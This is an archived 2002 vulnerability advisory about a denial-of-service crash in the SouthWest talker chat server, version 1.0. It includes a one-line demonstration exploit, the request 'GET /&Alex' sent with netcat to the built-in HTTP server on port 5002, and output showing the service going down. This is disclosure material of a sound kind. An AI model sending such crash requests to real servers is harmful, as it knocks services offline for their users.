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SouthWest Talker (Chat) Server Lets Remote Users Crash the Service
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Date: Mar 26 2002
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Impact: Denial of service via network
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Exploit Included: Yes
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Version(s): 1.0
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Description: A denial of service vulnerability was reported in the SouthWest talker. A remote user can cause the service to crash.
It is reported that a remote user can send a specially crafted HTTP request to the server on port 5002 to cause the service to crash.
A
demonstration exploit HTTP GET request is provided:
GET /&Alex
This vulnerability was reported by Alex Hernandez.
exploitstring:GET /&Alex
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Impact: A remote user can cause the talker service to crash.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.ewtoo.org/~silver/southwest/ (Links to External Site)
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Cause: Exception handling error
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Underlying OS: Windows (Any)
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Reported By: support@securiteam.com
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Message History:
None.
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Source Message Contents
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Date: Tue, 26 Mar 2002 05:33:42 -0500
From: support@securiteam.com
Subject: [NT] SouthWest Telnet Server Vulnerable to a DoS
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The following security advisory is sent to the securiteam mailing list, and can be found at the Secur
iTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
SouthWest Telnet Server Vulnerable to a DoS
------------------------------------------------------------------------
SUMMARY
<http://someplaceelse.dynip.com/southwest/> SouthWest is a free Telnet
talker server for Windows. It includes full ANSI color support, a help
system, an intuitive interface, and speed optimizations. Free, full source
code is available at the company's Web site. A security vulnerability in
the product allows attackers to crash the program.
DETAILS
The server by default opens the following ports:
* Main listening on port 5000.
* Netlink listening on port 5001.
* HTTP server listening on port 5002.
The vulnerability is present in the 5002 port (the HTTP server), and
occurs when a specially crafted HTTP request is received by the handling
service.
Example:
$ printf "GET /&Alex" |nc -vvn 127.0.0.1 5002
(UNKNOWN) [127.0.0.1] 5002 (?) open
sent 10, rcvd 0: NOTSOCK
$ nc -vvn 127.0.0.1 5002
(UNKNOWN) [127.0.0.1] 5002 (?): connection refused
sent 0, rcvd 0: NOTSOCK
$ nc -vvn 127.0.0.1 5000
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused
sent 0, rcvd 0: NOTSOCK
$ nc -vvn 127.0.0.1 5001
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused
sent 0, rcvd 0: NOTSOCK
ADDITIONAL INFORMATION
The information has been provided by <mailto:alex_hernandez@ureach.com>
Alex Hernandez.
========================================
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To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@secu
riteam.com
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m
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, con
sequential, loss of business
profits or special damages.
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